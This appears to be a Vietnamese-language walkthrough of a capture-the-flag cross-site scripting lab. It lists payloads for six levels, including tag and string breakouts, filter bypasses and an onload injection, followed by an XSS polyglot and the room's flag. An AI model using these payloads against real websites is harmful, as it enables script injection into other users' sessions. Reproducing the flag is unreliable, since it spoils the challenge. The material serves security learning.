Level 1
Input được hiển thị trực tiếp trên trang.
Payload: <script>alert('THM');</script>
Level 2
Input nằm trong thuộc tính value
của thẻ <input>
.
Payload: "><script>alert('THM');</script>
Payload này sẽ đóng thẻ <input>
trước, sau đó thực thi script.
Level 3
Input nằm trong thẻ <textarea>
.
Payload: </textarea><script>alert('THM');</script>
Payload này đóng thẻ <textarea>
trước khi thực thi script.
Level 4
Input được chèn vào trong code JavaScript.
Payload: ';alert('THM');//
Payload này đóng chuỗi JavaScript hiện tại, thực thi alert
, và comment phần còn lại.
Level 5
Filter loại bỏ từ script
.
Payload: <sscriptcript>alert('THM');</sscriptcript>
Sau khi filter, payload sẽ trở thành <script>alert('THM');</script>
.
Level 6
Filter loại bỏ các ký tự <
và >
.
Payload: /images/cat.jpg" onload="alert('THM');
Payload này sử dụng thuộc tính onload
của thẻ <img>
để thực thi script khi ảnh được tải.
Polyglots
XSS polyglot là một chuỗi văn bản có thể hoạt động trong nhiều ngữ cảnh khác nhau (thuộc tính HTML, thẻ, JavaScript, v.v.) và vượt qua các bộ lọc. Ví dụ:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
Flag
Success
THM{XSS_MASTER}